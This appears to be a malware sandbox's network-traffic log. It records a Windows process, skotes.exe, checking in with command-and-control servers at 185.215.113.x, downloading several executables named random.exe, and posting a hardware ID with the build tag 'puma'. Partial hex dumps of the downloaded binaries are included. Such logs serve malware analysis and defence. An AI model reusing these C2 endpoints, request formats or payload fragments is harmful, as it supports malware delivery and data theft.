Oct 26, 2024 05:55:09.047133923 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:55:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 31 36 30 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 36 30 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 31 36 30 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 31 36 30 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1001605001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1001606001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1001607001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1001608001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49803	185.215.113.16	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:09.055668116 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 26, 2024 05:55:09.959335089 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:55:09 GMT Content-Type: application/octet-stream Content-Length: 2949120 Last-Modified: Sat, 26 Oct 2024 03:44:52 GMT Connection: keep-alive ETag: "671c65b4-2d0000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d2 00 00 00 00 00 00 00 10 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 30 00 00 04 00 00 70 b2 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@@0p-@Th ~@.rsrc @.idata @gmhlytvbPJ@oycggmgz0,@.taggant00",@
Oct 26, 2024 05:55:09.959392071 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:09.959441900 CEST	324	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:09.959475994 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:09.959513903 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:09.959563971 CEST	1236	IN	Data Raw: 5e 3b 7c 65 90 95 34 c5 b8 00 5f 26 e6 92 83 a5 7c 04 07 fa 05 25 f3 a0 f1 f3 71 d5 95 ae 47 52 6e c5 e1 31 45 8d 29 31 75 37 9c 34 05 37 89 47 ef e7 85 3e 78 d2 e3 c6 66 0a 46 79 1f 4e 57 f2 39 0d ca d8 33 87 88 92 62 86 4f 6a 19 c5 9e 04 c1 46 Data Ascii: ^;\|e4_&\|%qGRn1E)1u747G>xfFyNW93bOjF6jp}cql)pz)d&tf8lGXlzS}0VQ\;IF$<_gx)U#eSzl2&;@2z\FaELS6V'_Y7
Oct 26, 2024 05:55:09.959599018 CEST	1236	IN	Data Raw: 2d f6 b6 5d ab 51 c3 10 3a 4c 22 29 ef da ee 27 79 75 19 30 37 fa 5f 73 ed 30 22 c8 e8 24 f8 ca 38 2b 66 ed 77 40 e7 18 d2 42 82 70 4b b5 05 2e e8 4f 85 26 63 5c 96 1d d3 f4 8c 95 36 8b af 8e 99 b5 71 42 0d 76 5d 47 53 55 69 f1 36 05 87 7f a6 20 Data Ascii: -]Q:L")'yu07_s0"$8+fw@BpK.O&c\6qBv]GSUi6 ^TIA:EmUN06l65:m0miJOO\Dy(?BH(@T^m`j<VoMqT@
Oct 26, 2024 05:55:09.959630966 CEST	548	IN	Data Raw: 95 f2 af f3 b3 41 25 42 dc f0 e3 81 ef e3 83 a6 4a 87 8e 63 8d a6 fb 3d 6e 01 f9 26 6a 59 33 db 40 77 a5 ce 1a bb 19 6a 35 ac d8 0e a5 74 c5 6f 38 a2 77 10 f7 8a 88 23 d5 87 c2 c8 d5 84 26 00 85 86 c1 a5 37 01 f5 48 b8 7f 13 61 76 83 55 82 5b 92 Data Ascii: A%BJc=n&jY3@wj5to8w#&7HavU[Bo8edQM} [F.c?MF )'t}&\|E426A(,e5~_\Mf%D*tIu'n'UD+d&g -";Gdy~p
Oct 26, 2024 05:55:09.959671974 CEST	1236	IN	Data Raw: 43 af f2 6f 0e 01 1c 47 ac 0a 13 38 95 43 ab f8 ed 7f 7f 88 36 b4 34 1c 38 02 4c c2 9f 33 ba 31 69 d6 c1 35 08 f5 85 5f 11 b1 bb 06 41 52 60 ea f6 7e 54 e6 20 e1 c8 cf 59 bf 7d b9 46 a0 c7 20 d5 99 88 be f6 b6 c0 62 79 2c 32 d9 f3 04 e4 be b8 41 Data Ascii: CoG8C648L31i5_AR`~T Y}F by,2Ao_76KF.~-zo{B\|k#97q>-hE~}D/<G6ub[</p_#F=H_cq~&/oA<+njOe~}Kn
Oct 26, 2024 05:55:09.959707975 CEST	1236	IN	Data Raw: c7 41 94 f9 19 43 3f 39 62 87 7b 67 a8 9b 8f 81 10 f5 f6 4b 49 e5 a8 21 91 c2 f1 13 99 86 f8 37 85 ae bd d3 6d 3f 1a ca 6c b0 8f 2f 3d 03 b5 89 95 d5 14 b4 d4 dc 60 04 32 89 90 67 6f 81 a4 2f aa 83 f6 80 7b cb 23 6a 21 57 4a a5 aa 97 e7 29 fe 33 Data Ascii: AC?9b{gKI!7m?l/=`2go/{#j!WJ)39A ks-=ZOigM~GW &gGt~#&gHMeP'QRl@[=&oS%;%:4/Yj&`
Oct 26, 2024 05:55:09.965496063 CEST	1236	IN	Data Raw: 47 31 01 58 49 ac 2a cf 24 42 1c 2c 15 25 ec 54 b3 fa ff a6 e0 63 57 24 8e 51 36 73 8d 59 f4 8f 16 ee 64 eb e7 8e a6 6b 89 76 f9 43 83 cf 05 db 20 85 60 16 5d ca f1 87 17 e8 1e c5 08 e2 fd 70 cb 0c a7 a5 6f cb 8d 41 fb 4f 90 d6 18 f0 d0 17 fd 95 Data Ascii: G1XI*$B,%TcW$Q6sYdkvC `]poAO8,}Ef;nQC{kTAEbv;il'lCe!we'%JgGXFu)\|w[R^!M$929bwLGmXjn88X]2NTC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49915	185.215.113.43	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:29.169864893 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 36 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001605001&unit=246122658369
Oct 26, 2024 05:55:30.095756054 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:55:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49921	185.215.113.16	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:30.105608940 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 26, 2024 05:55:31.035259008 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:55:30 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Sat, 26 Oct 2024 03:44:58 GMT Connection: keep-alive ETag: "671c65ba-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 20 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 fa 70 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPEL9$g$ i@Pip@P%d% %(@.rsrc %8@.idata %8@ )%:@rhebxyzrpO<@gzayextqi@.taggant0 i"@
Oct 26, 2024 05:55:31.035541058 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:31.035671949 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:31.036364079 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:31.036393881 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:31.036472082 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:55:31.037837029 CEST	1236	IN	Data Raw: 23 e7 34 14 21 18 28 6f 7e bc 4d 2e 87 d9 39 c8 07 74 48 37 3b 17 ac 43 06 27 0a 12 38 ba 77 83 f3 bd ee 0b 28 0e a4 ea 8b 38 0a 37 6c a3 a4 f4 8b e0 f9 7e 9b 96 52 67 5b b5 24 5f 00 48 cb 5e f3 a0 16 48 e1 a8 e5 1e ef 4d d1 52 21 a2 c5 96 97 92 Data Ascii: #4!(o~M.9tH7;C'8w(87l~Rg[$_H^HMR!JJobDC4hyNE{&myQGHdHi;KETf n4V{CFv;_&]_2u:]H]y3X+^gQ3`B"Qy{27h:]51#`n#"df}&{[2
Oct 26, 2024 05:55:31.037852049 CEST	1236	IN	Data Raw: 13 85 9e aa 17 a6 e4 e4 27 47 c9 85 6f ba cd 7d 9a 74 0f 1c 92 d7 5e 2a da 5e 40 b6 77 fb 8c b3 0c 23 44 21 70 f2 67 14 da 54 7b 10 74 4d 12 8f 00 ba d6 ef a1 ae 44 34 d5 9b 5f 1d fc 2b 68 ed b4 ad 61 5b de 50 f5 84 51 49 59 ce 98 cc 8d 3a 17 a4 Data Ascii: 'Go}t^^@w#D!pgT{tMD4_+ha[PQIY:z$O=@\|wI$u>;"l @fd"^RFJ7[54xhV<r_^{~-\|]Fi=iZZ:jWtgRH ]Gq\:3o2
Oct 26, 2024 05:55:31.039355993 CEST	1236	IN	Data Raw: d7 94 ed 2a 27 50 55 cb 13 52 c8 54 93 90 00 2c de 46 48 0a 13 92 04 7c ff aa d4 c8 3b f2 68 3f ba af 1a 0f 97 25 e5 07 23 af 6d 5b 0a 8b 88 9b bf 7a 73 4b b8 af 98 34 83 54 64 b5 5d a5 1c 63 02 36 c8 54 10 9d 00 bc 0f 26 55 32 87 be be 09 de 56 Data Ascii: 'PURT,FH\|;h?%#m[zsK4Td]c6T&U2V.2U9ou_&7SqTeQjN^"D3:XU0nuj,OiwUQ_11VKvU]~2.b1=K6U*D797UW9(CC \"`s:hi5
Oct 26, 2024 05:55:31.039371014 CEST	660	IN	Data Raw: 4b 9c 07 83 23 3e 0c 57 64 c4 20 82 02 fe 44 43 9f f1 2a 03 33 13 84 4b 5f d6 6e 5e 23 c6 ee 82 c0 0e 9d 0a e9 a7 78 0f e7 32 04 67 bf f6 55 e3 9f f1 57 3a ef 84 dc 27 86 d4 0b 11 22 5a 1f bc 33 ce 55 51 9b a7 a5 1c 9f 52 ec df 16 3e ed 0a 8f be Data Ascii: K#>Wd DC*3K_n^#x2gUW:'"Z3UQR>9[;YC\(u_JT&3PN9/Q4;8$J2Uw1mWlYo:U+t2TS:X"Go}/0\m) E~G2U9t/u
Oct 26, 2024 05:55:31.040769100 CEST	1236	IN	Data Raw: 02 0e 44 af 95 e8 b8 21 12 7e c8 0a cf 94 ef 2a 33 de ba d9 fb af 5c e7 93 3c ae ef bb d0 14 31 13 8b 39 0b 92 c7 00 0a 9b 20 f1 76 33 be 55 27 5f ee 3d 8f bb c0 db 32 26 96 55 54 24 98 18 12 de e6 52 0a ba a7 6a d8 23 07 00 6b 59 af c4 00 ff c4 Data Ascii: D!~*3\<19 v3U'_=2&UT$Rj#kY":DrXwYfow3VUQ_D-?=Cd;2%&U0l$qK>1cmc"r`(%hs9`(YNo-_~J;U#\S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50002	185.215.113.206	80	8148	C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:43.830502987 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 05:55:44.734215975 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:44 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:55:44.738466978 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGHCAKKFBGDHJJJKECF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 48 43 41 4b 4b 46 42 47 44 48 4a 4a 4a 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 38 46 30 38 41 31 36 43 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 48 43 41 4b 4b 46 42 47 44 48 4a 4a 4a 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 48 43 41 4b 4b 46 42 47 44 48 4a 4a 4a 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------CBGHCAKKFBGDHJJJKECFContent-Disposition: form-data; name="hwid"AE8F08A16C9A291931458------CBGHCAKKFBGDHJJJKECFContent-Disposition: form-data; name="build"puma------CBGHCAKKFBGDHJJJKECF--
Oct 26, 2024 05:55:45.021095991 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:44 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50003	185.215.113.43	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:44.045317888 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 36 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001606001&unit=246122658369
Oct 26, 2024 05:55:45.153708935 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:55:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50011	185.215.113.16	80	5440	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:45.163680077 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 26, 2024 05:55:46.090953112 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:55:45 GMT Content-Type: application/octet-stream Content-Length: 919040 Last-Modified: Sat, 26 Oct 2024 03:25:48 GMT Connection: keep-alive ETag: "671c613c-e0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 34 61 1c 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 56 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL4ag"Vw@`A@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Oct 26, 2024 05:55:46.090986013 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 26, 2024 05:55:46.091037035 CEST	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 26, 2024 05:55:46.091085911 CEST	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Oct 26, 2024 05:55:46.091121912 CEST	424	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Oct 26, 2024 05:55:46.091171026 CEST	1236	IN	Data Raw: 00 e8 20 4c 00 00 6a 04 e8 45 e2 01 00 c7 04 24 7c c9 49 00 83 20 00 89 06 ff 15 20 c7 49 00 89 46 04 8b c6 5e c3 6a 10 8d 41 04 5a 83 20 00 8d 40 08 83 ea 01 75 f5 8b c1 c3 53 56 8b 35 98 c6 49 00 33 db 57 8b f9 6a 05 58 53 89 07 89 47 04 66 c7 Data Ascii: LjE$\|I IF^jAZ @uSV5I3WjXSGfG____j[GSjG)ShG&ShG'SjG(SjG$G%_^[UQW3EWPWh }IEjWWh %MI_U=Mt_E%\M%PM
Oct 26, 2024 05:55:46.091206074 CEST	1236	IN	Data Raw: f8 85 ff 0f 84 c3 00 00 00 8d 4a ff 89 0d 28 15 4d 00 8b 4f 04 8b 31 66 83 7e 08 00 75 d3 8b 36 83 fe 20 74 05 83 fe 2b 75 c7 83 fe 2b 0f 94 c3 33 c0 83 fe 2b 0f 94 c0 8d 04 85 04 00 00 00 8b 0c 08 66 83 79 08 34 0f 85 1b 07 04 00 8b 09 83 ec 10 Data Ascii: J(MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMM
Oct 26, 2024 05:55:46.091238022 CEST	424	IN	Data Raw: 41 04 6a 7f 59 66 39 48 08 0f 85 c7 04 04 00 8b 45 f4 48 4f 83 bd 54 ff ff ff 00 89 45 f4 0f 84 9e 02 04 00 80 bd 5d ff ff ff 00 8b 45 bc 0f 85 96 02 04 00 8b 18 8d 8d 54 ff ff ff e8 70 02 00 00 8b 85 58 ff ff ff 89 45 bc 8b 45 f4 85 c0 0f 88 92 Data Ascii: AjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl`MTM_^[rU]
Oct 26, 2024 05:55:46.091273069 CEST	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
